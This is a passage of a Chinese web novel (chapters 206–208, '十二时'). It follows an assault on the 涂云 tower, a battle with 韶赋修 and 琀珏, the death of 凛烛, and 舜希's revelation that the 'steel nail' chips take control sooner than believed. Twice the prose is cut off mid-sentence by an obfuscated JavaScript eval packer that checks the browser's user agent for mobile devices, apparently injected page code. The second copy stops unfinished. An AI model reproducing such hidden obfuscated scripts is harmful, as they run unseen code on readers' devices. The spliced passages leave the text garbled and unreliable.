炳灿还严谨地托腮考虑了一阵,“如果炸弹是飞向这么风流倜傥的我的话……我可以一边躲一边扇扇风说好热。” 这么紧张的时刻也就炳灿能如此积极乐呵了,玄烈退开墙边站到炳灿面前,伸手将他胸前的两条弹力背带长长扯起,再一松,“啪”的一声炳灿刚要叫,凛烛就从后面捂住了他的嘴。 “别贫了,一分钟后灼琛给黑寂军和崎钥崎朗发信号,咱们必须不遗余力地冲进去,士兵和机械体不用管,但尽量别杀人。图快,不图杀干净。”玄烈道。 “好……好……”炳灿捂着胸口哼唧半天终于是妥协了,再没蹦出半点不靠谱的话。 有浅薄的光从天边跃起,不太真切,墙边挤着的黑压压的一片阴影在玄烈倒计时五个数后忽然动了起来。 驻守在门口的士兵乍一眼以为自己中邪了,三秒后,它意识到那是一群人在逼近,于是它扣下扳机,几声枪响过后对面毫发未伤,警报声在灯火通明的涂云大厦内响起。 枪声卷席着“嗖嗖”风声如暗器飞过,战争在这一刻打响了。 冲进大堂后最先找到正确的路的是炳灿和绯篱。 刀枪混杂声混合尖厉警报听得人心慌,玄烈拿着库星锥随手一劈就是一溜士兵铁头落地,纪凛烛也排山倒海般将一众士兵拍成铁泥,炳灿就是趁此机会抓住绯篱从他们拓开的口跑走了。 也是因为他从这钻了出去,玄烈和纪凛烛就慢了一步,整得又一群士兵围了上来。 惹得这边炬衍不爽极了,人家尚且老老实实用儡玉和士兵作战,硬是没来得及往上跑,“死炳灿!有本事自己开路啊!” 一上来就这么多士兵玄烈着实没想到,难道韶赋修就算准他们要搞偷袭,所以时刻让这些士兵在周围待命吗?正想着,一声今日第一炮火在他们上方三楼处炸响。 机械手如捏西红柿一样捏爆了一连串士兵的头颅,纪凛烛抽出空隙,跑过来一脚踹开正被玄烈库星锥贯穿的涂云机械体,指着门外,“那个扛着火箭筒的高个子女生就叫崎钥吗?” 玄烈向外望了眼,点点头。纪凛烛眼神泛光地咧起嘴角,“帅呆了!” 崎朗带领的那队机械体还在路口替后赶来的开路,门口,崎钥已经率第一批机械体赶到了涂云驻地。刚才那发炮弹就是崎钥扛着火箭筒发出的,直击大片玻璃窗,细碎晶亮的玻璃渣登时如星辰坠落。 玄烈重新破开一条指向楼梯间的路,“电梯不能用了,先往上。”他们告别炬灼兄弟和凛烛伏策,瞄准韶赋修所在的地方直直向上。 按理说太早分开不是好事,但所幸崎钥崎朗等机械体的加入能分担不少火力,何况有凛烛伏策这两个作战无数的老黑羚羊,赶上他们只是差三步的事。 在跑到第五层被绊住手脚的时候,涂云机械体已经大批量涌入战斗了,这些小孩见到玄烈和纪凛烛后,先是将前几天没释放的震惊先全都释放出来了。前面人和他们打着,后面竟直接开始讨论甚至去论坛发帖了,三句不离“第一战备”“第二战备”,不知道的还以为粉丝见面会。 白紫色的火焰刚烧到一只机械体的头发上,那小孩立刻就求饶了。旁边一只壮壮的机械体一把将那“一把鼻涕一把泪”的机械体撇到了一边去,“哭什么哭!有没有志气!” 纪凛烛一拳捣在那机械体近乎瑜伽球一样大的头侧,让那大块头在飞翔间撂倒一大片人,“想活下来就是志气!懂什么啊你!” 一口气跑了这么远,玄烈才发现这些人类办公区的装潢和内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过那些机械体已经不能算生命了,作为一个生命体,玄烈有权利定义死在他锥下枪下的究竟是什么。秉持着这一理念,玄烈身上的火愈烧愈旺了,在这不属于他的地盘,他就像一个稳赚不赔的老手。 部分机械体黑寂军还被强力的炮火挡在涂云门外,而其他闯进来的那些则在灼琛令下为玄烈马首是瞻,他们走到哪,他们跟到哪。 火光四溅,惊声尖叫同金属碰撞物体碎裂的声音贯穿了将近整座楼,护送玄烈他们的这一队里,有开路的,有架桥的,还有当守门员拼死封住来时路的,机械体们分工均匀,要是将伤亡忽略不计的话,玄烈他们这一路还算顺利。 不过说是护送,其实很多时候根本是玄烈和纪凛烛在帮他们。打到一半凛烛闲散地倚靠在墙边擦了擦他那本不存在的汗,“果然第一二战备的名头不是盖的,确实厉害哈。” 炬衍也脱开手喘口气,“你以前不是第一战备吗,他们这么厉害你能不知道?” “我当然知道,”凛烛一个过肩摔摔倒了一只妄图偷袭他的机械体,“我就是随便说说,夸他们等于夸我自己啊!” 战争的惨状从楼下很快如病毒瘟疫般蔓延至楼上,两个阵营的士兵和机械体打得不可开交,情况一会儿一个变化,唯一不变的是涂云眼看就要被拆成一堆废墟了。 涂云北侧行政区,他们耗费三十分钟杀到这里。 “居然到这了还、还不见琀珏……”凛烛气喘吁吁地说。 “你还好吧?”伏策大刀手起刀落给两只士兵拦腰斩断,瞬时扶住凛烛。 “不行,这具身、身体有点太废了……” “砰——”,凛烛话还没说完,一颗子弹就蹭着他身侧飞过。 玄烈原想抬起库星锥替他挡下来,可库星锥抬到一半就感到一阵无形的斥力将他的手弹开了。 那子弹像一颗红艳艳的火球,在掠过凛烛击中后方墙壁上的挂画后即刻爆炸了,硝烟散去后,那墙被破了个巨大的洞,挂画被烧得连个末都没有。 不,那不是子弹。玄烈看清了那飞过的东西。 是纽扣! 206. 十二时(2) 然而玄烈转过头去对上的不是琀珏的目光,而是韶赋修的庞大机甲身躯。机械体和士兵好像同样被奇怪的力量封印在下一层,除了他们四人外,没一个人赶上来。 “我以为你不会来的。”韶赋修漠然地说。他脸上没什么表情,没有欣喜愤怒仇恨与哀伤,他就这么站在暂时还一片规整的办公区中央,这里有地毯铺设,背后有一扇大窗。 这扇窗的朝向极其好,恰好迎接了清晨的第一缕光,窗边苍翠欲滴的新鲜绿植长得旺盛,太阳即将升起了,光亮很快会到来。 “我当然会来,”玄烈攥紧了库星锥,“但我来是为了要你命的。” 韶赋修并未对玄烈带有挑衅的言论作出大反应,他微微移动了一下头,带有电磁音效的机械声便从他脖颈处发出,空洞的机械眼眨了眨,之后,他轻点太阳穴,撤去了脸上附着的机甲。 “你的这些机械朋友,是用舜希的‘钢钉’复活的吗?” “你很感兴趣啊?”凛烛手扶向腰间的匕首。 “很遗憾,你还是跳进舜希的陷阱里了。”韶赋修毫无波澜地说。 玄烈也一言不发眼色发冷地看着他,而对面韶赋修也就这么盯着他,那双沉敛的眼眸含着深深的、玄烈难以捉摸的感情色彩,“你打算一辈子活在别人的壳子里吗?” 韶赋修过往的样貌如过眼云烟般在玄烈脑海里消失得只剩下些许影子了,可能他自己也不见得记得自己长什么样了,“你不好奇自己本来的样子吗?” “很重要吗?”玄烈漫不经心地问,此刻的他更关心琀珏藏在什么地方,避免他突然冲出来暗算他们。 “重要,这取决于我能不能在人群里第一眼认出你。” 韶赋修的话让玄烈好一阵胃里反酸,听的耳廓都刺痒起来,他没法面对韶赋修好言好语,“你认不出的,趁早减少这些自我陶醉的妄想。” 韶赋修笑了,“二十年前的事和你没有关系,你为什么要主动跳进来。” “你本意是想表示你我没有仇怨,要劝我少揽事吗?”库星锥上的焰燃烧得更欢腾了,跃动间全是对韶赋修这对废话的不满,“这是你造下的孽不是吗?从你出现的那一刻起,我就注定与你为敌了。所以,省去你可怜可笑的话,受死吧。” 最后三个字一抛出去,玄烈就蹬地而起来了段助跑直接奔向韶赋修,渴望在三米处来个弹跳将库星锥劈到韶赋修脸上,但他刚冲到一半,那颗纽扣就又风驰电掣般扑来。 “噌”的一声爆裂声响,伏策扬刀斩下了那纽扣,随即,琀珏身影出现在拐角处。 锥刃被韶赋修一只手拦了下来,玄烈本要将其从他手里扯出,可他立马看到了韶赋修掌心里渐渐渗出的苍青色液体,半透明的,是暗淡又灰黄的青色。纪凛烛赶来第一时间暴力劈开了韶赋修的手,才让库星锥撤了回来。 那液体好像和锥刃上的火混合产生了某种化学反应,一半的火竟被扑灭了,残留的液体还在往地上滴。 纪凛烛偏向用拳脚,机械臂与第二战备本身的能力汇合而成的超级力量竟能直接同韶赋修那夸装的铁皮壳子作对抗,加之她实在灵活,韶赋修就如同那原本深埋在神庙地下笨重的琥珀精灵,除了靠蛮力和力量相对之外无任何对策。 很快,纪凛烛就接连在他手臂上用机械手锋利的手刀砍下几道,配合玄烈在正前方的牵制,她还顺利重创了韶赋修的腰部。但紧接着,她也感到不对劲。 琀珏是想努力向他老师靠近的,可伏策和凛烛就是不给他这机会。只见他周身散发着冷若刀锋的气场,那斥力波大概就是他制造的。 芯片的植入暂时没给他外表带来惊人变化,只是皮肤比以往更多了层不健康的白,眼尾也如妖化一般逐渐显出灰黑色的影子,眼瞳完全是不反任何光的磨砂纯黑色,和被傀儡化的灼琛有的一拼。那枚太阳一样的纽扣也能够在他手里批量复制了。 但这距离还不够远,他们二人对付琀珏异常艰难,渐渐的,二人都感到力不从心。那龙卷风一样呼啸而起的纽扣飓风即刻就将办公区内的事物搅到高空,这些高速飞行旋转的物件也可以作为武器随时刺向二人。 他们不得近身,只能勉强在凛烛释放的盾下喘一口气。 但这飓风不是针对他们的,琀珏还在努力将进攻转移到玄烈那边去。那边,纪凛烛行动迟缓起来。她从高空落了地,双臂却僵硬地卡顿起来。 “怎么了?”玄烈问道。 “有点麻麻的……”那液体好像不会蒸发也没有水一样的流动性,攻击中沾染到纪凛烛身上仿佛形成一层蜘蛛吐丝结成的薄膜。 眼见飓风就要过来了,玄烈举起库星对其就是一枪,“砰”的一声,光弹钻进龙卷风中心,爆炸释放的强光在空间内一闪,纽扣便七零八落地飞溅到了各处。 与此同时,琀珏穿过光团骤然间向玄烈发出进攻,这刹那,玄烈看清了琀珏心口处有一条若隐若现的纤细浅蓝色虚拟锁链,直通向韶赋修左手掌心。 原来芯片是这样作用的,原来这就叫“拐杖”。 又是一声巨响,琀珏持刀刺向玄烈眼睛的手臂被纪凛烛一把抓住,接着他飞过来的力道和惯性,纪凛烛将他甩飞出去,径直撞进墙中,他的身体险些被断裂的钢筋刺穿。 知道链条的所在就好办了,玄烈没有犹豫,面向韶赋修左手掌心就是一枪。 可这次不是子弹爆响,而是液体被重物从高空砸中而溅起的声响。果然是那恶心的不知名溶液。液体飞溅之时,伏策用刀、凛烛用盾冲来拦下了液体攻击,但立刻,他们的刀和小臂处的盾就产生了同样的奇异变化。 一阵刺鼻味道扑来,带着“嗞啦”灼烧声,玄烈循声看去,发现是地毯。地毯上凡是沾染上液体的地方全都开始冒起微小的火星。 “居然能自燃……” 凛烛这边说着,那边韶赋修便扯动了那链条,迫使琀珏恢复状态再行战斗。 被摔成那样都没伤分毫,看来这芯片确 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恍若末世来临,那纽扣如流星砸向众人之时,首先站出来的不是那束白光,而是一阵浓烈的紫色,仿佛阴云之下的雷暴,两相冲撞爆发的狂风基本能将这层楼削得拦腰斩断。 势不可挡的一颗颗纽扣恍若楼内顷刻间下起的大雨,迅疾、猛烈,誓要搅得这里天翻地覆,“乒乒乓乓”之声大噪,四面八方墙壁天顶脚下全都被打成了筛子。“雨滴”破开墙体,砸出大大小小的坑洞,水泥石块灰尘横飞,时而砸中钢筋还能发出自带嗡鸣的清脆混响。 纪凛烛双手张开托举着那片炸裂的“天堑”,库星锥幻影则穿过雷暴变成身染火花带闪电的暗器团团向韶赋修他们飞去。 而接着芯片爆发的那阵斥力,韶赋修只是伸手,就其尽数挡了下来。 豆大的汗水滑落,玄烈见难以支撑,便生硬地用库星锥挑拨开那阵雷暴。又是不同能量交杂产生的爆炸,琀珏那边飓风不息,玄烈就如一道光之矢冲进了乌蒙蒙的纽扣雨中。 其余三人也立刻就位,他们里应外合,企图从近远处同时下手,可是场上局面越发凌乱了。有时候人多也不占优势,反而会乱了策略。 现在场上的斑斓色彩比颠转时期霓虹闪烁的永璃市中心还要纷乱,一声声巨响震碎了这一层四面八方的所有玻璃窗,搞得涂云现在就像个高处漏风的喇叭,他们的攻击除了消耗彼此外就只有破坏装潢的作用。 甚至在某个不经意间,不知炸飞出去的什么撞到了几处隐藏按钮,竟然不慎启动了好几间藏在犄角旮旯的暗室。 “不行,不能拖了!”瞅准攻防的间隙,玄烈和众人说。 忽然间,那从刚才起一直回荡在涂云大楼中的警报声停止了,没过一会儿,广播里竟自己开始播放学前儿童听的儿歌。儿歌与爆炸声、枪声和刀剑声混杂在一起,这场面别提有多诡异了。 凛烛咧起嘴,“一听就是炳灿干的。” “看来他们已经成功进到涂云控制中心了。”伏策说。 207. 十二时(3) 又有炮火声,不过这回是在涂云大楼外的了。企图从背后攻击琀珏的玄烈被一把扯住,琀珏拧着他的手腕原想将他撂倒,但玄烈跃起来蹬着墙壁转了半圈,反拧住了琀珏的手。 恰好在破烂的窗边,玄烈向下一望,发觉是一些涂云机械体被炳灿操控着排成几排如行尸走肉往出走,并伸出怀抱迎接舜氏飞来的炮火。 清冽悦耳的“嘀嘀”消息音从耳夹里冒出,玄烈轻触耳夹,炬衍的声音便传了出来。 “玄烈,我们在涂云军械库,正想办法阻止新一批士兵被唤醒,你那需要帮忙吗?” “不需要,你们注意安全。”玄烈答道。 凛烛也望了眼窗外,甩掉纽扣注意到一旁的一间向下的暗室,看不清有多深,总之是离他们此刻打斗的地方隔了有一段距离。他示意伏策,伏策也瞬时意会了他的意思。 抛开没有火药外,此刻的纽扣就和子弹差不多了,这也是琀珏的一大劣势。他没有趁手的近战武器。 这边,琀珏在正面牵引着琀珏,伏策则绕后偷袭。他一个扫堂腿过去被琀珏发现了存在,于是就这分心的一功夫,凛烛不顾那只钻进他心口的两颗纽扣,扑过去揪起琀珏的领子,何其一同飞向了那间暗室。 韶赋修发现后原想将锁链抽回,但纪凛烛一掌便阻塞了那锁链发挥作用。虚拟的链条穿过她的手横在半空,韶赋修那边无论如何也使不上力气。 这次再瞄准他手掌,一颗库星光弹飞出去,韶赋修的手就被那光弹震得破了个昏黑的口子。 冲进昏黑的暗室,凛烛也不清楚他和琀珏此刻是个什么状态,二人就这么扭打在一起。琀珏没有失去心智,他知晓那命中凛烛的纽扣在什么位置,便直直往他伤口上戳。 二人打斗间碰亮的暗室里的灯,原来他们已经离那来时的门很远了,再打下去就到了南边的机械体活动区。 琀珏蓄满力气一拳砸向凛烛脸颊,凛烛及时发现及时抬手遮挡,但蚂蚁终究拧不过芯片,他的手掌挡不住那拳,还是被击中了。 见凛烛倒地,琀珏站起身准备往回走,一柄大刀砍向他的肩膀,却被一粒小小的纽扣硬是隔开了。 “找死。”琀珏轻声说。 锁链断开后纽扣雨虽不如之前那般强势,但也是伏策难以对付的。在这之中,凛烛渐渐从脑震荡中缓了过来。他再次扑上来,不为别的,只为他后脑的芯片。 感受到危胁的琀珏反手掐住了凛烛的手,指甲深深扎进凛烛的仿生血肉,伏策正面劈来一刀,琀珏想躲但无奈逃脱不开凛烛的束缚。他暴力地向后踹断了凛烛的膝盖,而凛烛也不服输地用完好的那条腿击向琀珏的膝窝。 “嘭”的一声响,琀珏单膝跪在了地上,伏策的刀也正中琀珏眉心。刹那间,芯片剩余不多的能量在死亡危胁下爆发了,伏策明显感到刀刃下顶起一阵力,于是他咬着牙将全身力量都压在这柄刀上,最终在琀珏眉间留下半深半浅的一道。 “半深”在于他能力势必会在伤口影响下实力大伤,而“半浅”在于,他还有能力做最后的垂死挣扎。 跟着他倒下的还有凛烛,琀珏一翻身避开了伏策的第二刀。一颗纽扣弹到伏策手上令他手下力量一崩,这第二刀就不作数了。琀珏趁此功夫转而移到那半天站不起来的凛烛身旁,对准他下巴就是一个膝击。 清脆的爆裂声响,凛烛的脑袋仰出了一种扭曲到变态的弧度。琀珏以为他必死无意了,刚要走,却发现挪不开步子。 凛烛的手死死抓住了他的脚踝,他用力扯了几次都扯不开。忽有一道刃光携带破空声飞来,琀珏意识到时,已经晚了。 重物砸地音,琀珏自此在没有爬起来的可能性。那柄刀砍断了他脖颈的一半的,亦如二十年前凛烛赐予他的那一刀。 刀也摔到地上,伏策赶忙到凛烛身旁。凛烛已经基本失去了意识,但他口中还在喃喃自语,“如果我们都是……伙伴……多好……机械体,为什么……要自相残杀……你给我的身体,太……太差了,伏策……伏……” 剩下的音则缓缓归于虚无,直到炮火声被隔音墙蛮横地挡在外,直到这里再也没有声音了,伏策摸向凛烛后脑。 只摸到一片残渣。 失去琀珏的韶赋修独自面对面前一二战备两人着实费力,几个回合下来他的耳朵、左手和右腿基本都受了伤。可惜这个大铁块子就是如山一般稳稳地扎在原地,他们无论如何攻击都没法让他移动。 一阵金属磨砺的声音绕转,锋利的机械手尖刺刺穿了韶赋修的左手,但纪凛烛也被韶赋修攥成拳的左手带起。他手臂抡圆了一挥,无法抽出尖刺的纪凛烛就也被砸到了墙里。 几声咳嗽过后,她表情微拧地将自己从墙洞里拽了出来,留下墙上一个人形的深坑。 苍青液体削去了她身上几层防护,因而背后稍有一条断裂的钢筋,她的后背就被划出伤口。 库星一连发了几枪,看似强大的爆炸只是在韶赋修铁制的胸膛上留下擦痕和细微的破损痕迹。又有液体飞来,玄烈这下不能闯了。收起库星,他努力避着液体瞄准的方向四下跳转。 韶赋修身后,纪凛烛的尖刺再扎向韶赋修的脖颈。 同样的招数他们配合了无数遍了,玄烈深切体会到了仪琅的话,这个韶赋修真的比他们预想的要厉害,不仅能力强,最重要的是他那铜墙铁壁般的身躯。 果然蛰伏了二十多年还是有很大成果的,并且据他们猜测,那片所谓韶赋修研制的芯片大概也已经植入他体内了。 打斗到一半韶赋修抓着耳边的通讯器不停呼叫琀珏和仪琅,结果一点回应也没传来。暗骂的声音被玄烈听到了,他大汗淋漓喘息着向韶赋修脑袋发射了一颗子弹,但又被挡了下来。 也是同时,完全使涂云乱了套的炳灿绯篱和灼琛炬衍也赶了过来。看见韶赋修的第一眼,炳灿就作势要吐,“这么久了你怎么还长这样呕呕呕……” 见情势不好,韶赋修钻进一间暗室开始和他们躲猫猫。 “你们没受伤吧!”玄烈问他们。 然而这句话有些多余,哪有真能毫发无伤从战场上走下来的呢。几人互相对望着不同人身上大大小小不同的伤和那脏兮兮的装扮,都察觉出一丝微妙的滑稽感。 炬衍踢了炳灿屁股一脚,“废话这么多!” 这一脚直接波及了炳灿受伤的后背,他“哎呦呦”叫了一阵,看清炬衍灰扑扑的脸庞后瞪起眼睛,“哎,不是让你们俩护送玄烈和凛烛吗!怎么现在才到,去哪偷懒了!” 炬衍刚要解释,一团白昼流星般的火光便冲向高空,扬出一条柔和的抛物线,正冲瞬时而去。但那颗炮弹威风到半空就爆炸了,“砰——”,烟团飞升,映出蓝幕盾的影子。舜氏毫发无伤。 “吓死了……”炳灿呆滞道。 “我们发现不太对劲。”炬衍这才解释道。 “黑寂军,不对劲。”灼琛接了一句。 “我们赶来的路上发现有些机械体和黑寂军失灵了,和炳灿操控他们一样,很多人打到一半就不动了,或者分不清敌我!” 炬衍正说着,伏策从一边暗室里走了出来。炳灿率先看到他背着的凛烛,做了个鬼脸,“都多大人了还要背啊,下次要不要给你整个婴儿车坐……” 玄烈捂住了炳灿的嘴,他一步一步向伏策靠去,然后做了和伏策一样的动作——摸了摸凛烛的后脑。他沉默了,众人也发觉不对劲,炳灿直接呆在了原地。 “是琀珏干的?”纪凛烛轻声问。 伏策点点头。炬衍要冲进暗室里,被伏策拦了下来,“不用了,他也已经死了。” 他们都绕在伏策身边,唯有炳灿还愣在原地双眼放空。炬衍招了招手,“算了,凛烛不会记恨你的。” 炳灿无反应,炬衍又说了几句,还是无反应。 “不对!”绯篱赶忙跑去拍了炳灿后脑一下。恍了一瞬,炳灿猛地吸了一口气然后快速眨起眼,他扶着自己额头皱起眉毛,“不对劲,玄烈!不对劲!” “是不是感觉……有个比你更强大的意识在操控你的身体!”炬衍紧张兮兮跑来,“我刚才也这样!是灼琛把我摇醒的!” 正说着,伏策也晃了晃脑袋好像有些神志不清,“玄、玄烈,你确定是……七十二小时吗?” 宛若一根紧绷的弦断了,玄烈心里一慌,“绯篱,他们还有多久!” “还有十一个小时!”绯篱也焦急起来。 纪凛烛双手抓住正在发呆的灼琛的手臂,将他摇醒,“灼琛、灼琛!你变成这样,用了多久?” 灼琛双眼失神像是听不懂纪凛烛的意思。“你,从有理智到被操控花了多长时间!” 停顿片刻,灼琛开口,“……三个小时。” “不行!”玄烈眼神从韶赋修 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已经有机械体收到消息撤了出来,延伸到高层的绞杀被迫一点点退至下方,所有人努力的成果在这里止步,唯一可以用作安慰的是,他们确实大挫涂云的势力。 当然,从撤出来的那些舜氏机械体数量来看,舜氏也算是杀敌一千自损九百九十九。 炮火让涂云大楼外壁的玻璃和金属变得稀烂,就像大小不均的陨石坑,仅存的平滑贴片让大厦依然能乱糟糟地反射出酷烈的阳光。 蓝幕盾依然温和而有力量地立在城市的另一端,在它的庇佑下,远远望去,舜氏大楼就像沉浸在浅滩清澈的青蓝色海水中,是一种遗世独立的孤僻感。 “真就……这么走了吗……”炬衍大脑混沌着站不稳。 “走,我不要拖大家的后腿!”炳灿努力睁着眼睛,他始终绷着一口气,无法仰起头,生怕直视到扎眼的光会让他反胃到直接吐出来,“舜希巴不得咱们和韶赋修同归于尽,明面上的人好对付……但要是再、再吃被人欺骗的亏,咱们就……就和白痴没区别了!” “跑太慢了,飞回去。”伏策依旧紧紧背着凛烛,他们一个都没落下。 灼琛那带有翅膀的外骨骼被炬衍剥了下来穿戴在自己身上,但他动作幅度不敢太大,和炳灿一样,身体里翻腾着的力量近乎要将他吞噬了。随即,他抓住了那已经失去行动能力的灼琛的手臂,将他腕表解下来丢给玄烈。 “灼琛的腕表,炸了……炸了的话,舜氏机械体的指挥权就自动转回舜氏了,你、你拿着吧。” 炸了的话……玄烈拿着那块在打斗中智能屏碎了一角的腕表,头脑不间断回闪着炬衍的话。 “等一下!不会炸的,不要回舜氏,”玄烈抓着腕表挡在炬衍身前,“先去一个能藏身的地方,我们把你们的芯片先取下来。” “取不下来的,”望着玄烈依旧含着期待的双眼,炬衍苦涩地扬了扬嘴角,“取不下来,玄烈,我拿我自己和灼琛试过了,一旦进入操控加载期或操控已完成,芯片就拿不下来了。” 绯篱那双澄亮的眼睛一刻不停盯着炳灿,她知晓着急没有用,也安静地一句话也不说,就只一路下来死攥着炳灿的手,必要时候支撑着避免他因为昏死而被重伤。 “我不要紧,绯篱……”炳灿扶着头说。 时不我待,无法再等下去,只能先出发再想办法了。炬衍已经带着灼琛飞了起来,玄烈赶忙理清头绪将腕表收起,走到炳灿身边,向炳灿伸出手,“我背着你吧。” 炳灿挤出一丝虚弱的笑攥了攥绯篱的手,然后松开,趴到玄烈背上去。 “我拉着绯篱。”这边,纪凛烛也抓起绯篱的手。 一切就绪了,大批量机械体半打半撤将队伍撤了个七七八八。玄烈背着炳灿,面对前方那边向他们张开怀抱的舒适区,始终迈不开脚。 真的不是七十二小时吗? 明明已经提前了这么久,明明已经做好预案了。 明明都到了这里。 他们从一个多小时前来到这里到现在,每个人都抱着必死的决心,此刻他们站在这里也一样,大家都拼尽了全力,都浑身是伤地抗到现在了。 “不怕,玄烈,回舜氏……”背后,炳灿喃喃道,“我们誓死也不要变成舜希的傀儡……让我最后再帮你们,在完全失去意识前……杀了她。” 208. 十二时(4) 凄厉的爆炸还在后方如催命符逼迫着他们离开,天上印下一片阴影。 韶赋修和舜希总要先扳倒一个吧。“走!”玄烈一声令下,他们齐齐向舜氏飞去。 高空视野极好,能轻而易举看到他们前几日被围堵打架留下的可怖痕迹。天高云淡,空气寒凉,“嗖”的一声,一颗子弹掠过他们身体,瞬间消失在了他们看不到的地方。 “是韶赋修!”绯篱看见那片阴影的始作俑者。 “他不会追上来的,他要看着咱们杀掉舜希。”纪凛烛头也不回地说。 风针扎一样扑向他们,玄烈飞着飞着只觉背上越来越沉重,炳灿安静地靠在他的后背,连头都泄了力地抵在他肩膀处。 “炳灿、炳灿?” “放心,我还……活着。”炳灿闭着眼睛也闭着嘴,那声音是喉咙颤动再从唇缝间挤出来的。 “伏策、炬衍,还好吧!”玄烈看着在他斜后方飞翔的人。 “没、没问题。”伏策咬着牙。“我也可以!”炬衍脸皱得和那被揉得乱七八糟的面团一样,他用力眯着眼,企图抵挡阳光带给他的昏厥感。 玄烈卯足力气眼睛一眨不眨地盯着前方,云在高处,蓝空高远,他眼里只有缓缓变大的蓝幕盾和舜氏孤影,不自觉低声重复念叨着:“不会让你们死的、不会让你们死的……” 很快,路程过半,舜氏完整的影子逐渐映在他们眼里。遥望着楼顶上的一个黑点,玄烈头脑里延展出一些不祥的念头。 剩下的人也接连注意到了那黑点,在蓝幕盾后,小小的,晶莹的。 “是舜希。”纪凛烛说道。 玄烈立即叫了停,“等一下,她手上……” “那是什么?”炳灿恍若大梦初醒,也睁开朦胧的眼看去。 再离近了一些,他们悬停在半空中,舜希也向前走了几步,彻底站到天台边,高举着她手里的小物件。 他们凝视了片刻,纪凛烛深感不妙地开口,“引爆器……” 涂云那边的炮火远去了,纵使战争余威未消,此刻的炮火声也只仿佛苍穹之上一声闷雷,不会再炸得他们血液倒流、心跳加快了。 在这相视无声寂静的刹那,舜希抬腕连接了舜氏内外所有的广播通道和音响,引爆器如同一个不相干的无用东西被她拿在手里抛,玄烈的神经则紧紧瞄准在那块正在被随意对待的小物件上。 广播音“嗞嗞”两声,舜希的声音便经由扩音器外放出来,其响度笼罩了半座永璃岛。 “很意外吗?救世主们。” 不算太太太意外,否则她舜希就不是舜希了。 这么听来,她和舜真的声音也真是像到了一种难辨难分的境地。可是听久了就会发现,舜希的咬字有种她独特而又微妙的味道,这一点,从她之前特意制造的潼霜音线里也能够听出来。 上次她也是用广播,拟造了虚假的求救语音,挑起永璃民众和舜氏与舜真的矛盾,并趁机启动了颠转。 “……不用觉得不可思议,也不必猜测是杨宁陷害了你们。他所说的七十二小时是十年前了。十年前,我宣布‘钢钉’系统项目停止,他竟然就天真地以为我真的不会再做任何用功了。好可惜啊,你们也一样天真。而事实是,这些年,在我的改良下,‘钢钉’发挥效能的时间已经缩短到了……六十四小时。” 舜希轻飘飘几句话抛出来,天上的几人就如被惊雷劈断了手脚。 现在距原先的七十二小时差十小时三十分钟,而距真正的六十四小时只差……两个半小时。而据灼琛所说,“钢钉”逐渐侵占机械体神智、干扰行动是从最后三个小时左右开始的。 就差一点,就差这么一点点。 背后,炳灿重新脑袋靠在玄烈肩膀处,干巴巴的笑从他嘴里蹦出来,玄烈能感受到他因笑而颤动的胸膛。 “是我们……运气不好。”炳灿说。 他的笑尚在空中飘动,舜希的最后一句便砸了过来。 “离开这里,舜氏不欢迎你们。” 她话语平和有力,半点不再留余地。又是“嗞嗞”两声,她腕表的连接切断了。 地面,机械体和黑寂军鱼贯进四通八达繁杂凌乱的街道,色彩缤纷,但还是以黑色为主,从上往下望去,就像一群游散在外的小蝌蚪,正受母亲的指引奔向静谧安全的温床。 “飞吧玄烈,”炳灿轻声说着,“我宁愿炸死也不要变成傀儡,更不要变成乞丐……咱们回家。” “不、不行,”玄烈不自觉箍紧了背后的人,“不能死,活着、活着就还有希望……” “死了一样有。”伏策眼神空洞地望着回不去的那栋高楼。 即使他们已经飞得这么高了,那座楼却依然像居高临下的巨人一样高傲地仿佛在俯视他们,带着百分百的恶意,和万分狠毒的嘲弄,嘲弄他们的一生都在做无用功,无法站起来,亦无法将流沙般的事物攥在手里。 “死了一样有,玄烈,”伏策再重复了一句,他转过头来,“你我有来到这里的勇气,就不怕毁灭。” “不怕竹篮打水一场空!”炬衍也靠近他们,“我们什么都不怕。褪去我们这层枷锁,就不会再有什么能绊住你们了!” “绯篱。”炳灿低低唤了一声。 “嗯?”绯篱眼瞳含雨,喉咙干哑到也只能挤出来这一声了。 “要是看不见我,你会哭吗?” “……我才不会,”绯篱艰难地笑起来,“就当是做梦了。炳灿老师,我会永远记得你的。所以不要为我担心,做你要做的决定。” “好啊,我……宁死不屈!”炳灿咯咯笑道。 “我也没有遗憾了,炳灿说得对,宁死不屈。” 说着,伏策点点头,嘴角细微地颤了颤,惆怅悲切的眼睛递出一缕阑珊的光,他头也不回地突然飞了出去,一头扎向舜氏的方向。 “不可……” “我也一样!”炬衍打断了玄烈的话,“能和灼琛死在一起,上天堂下地狱我都有伴了,”他拍拍玄烈的肩膀又给纪凛烛和绯篱比了个大拇指,“别担心!我不孤单!” 紧接着,他带着灼琛也咬着牙飞向前方。 炳灿戳了戳玄烈肩膀,“飞吧,一定要回到舜氏去,别怕。” 这端,舜希注视着停在半空的几人挤出一抹微笑。这是她最后的筹码了,重伤韶赋修,又将他们赶出舜氏,死局盘活了,这是她力挽狂澜下的最好的一盘棋。 得到,失去,再得到,再失去,马戏团的猴子也经不起这样耍,没有人能眼看着自己身边人再次投入虚无吧,心情像坐过山车一样,每一次俯冲都是一片希望的破碎,何况他们不是第一次吃这样的苦了,总会被击打得再也撑不住的。 机械体与黑寂军回归的声音不断在腕表侧响起,每响一声就代表一支凯旋而归的力量,眼见摇摇欲坠的舜氏被她支撑起来,暂时失去的以后都还会得到,重要的是她坐在这里,坐在舜氏的宝座上。 他们掀不起多少浪的,斩翼军也不足为惧了,除非他们肯不惜同伴的死也要与她为敌,后果也只是一样的仗再在舜氏打一遍。她依然手握黑寂军和机械体,只要韶赋修不来插一脚…… 兜兜转转二十余年的权力,终于彻底归落到她手里。她从未忘记舜延的教导,并且活学活用地来了个大洗牌,痛恨的被剔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 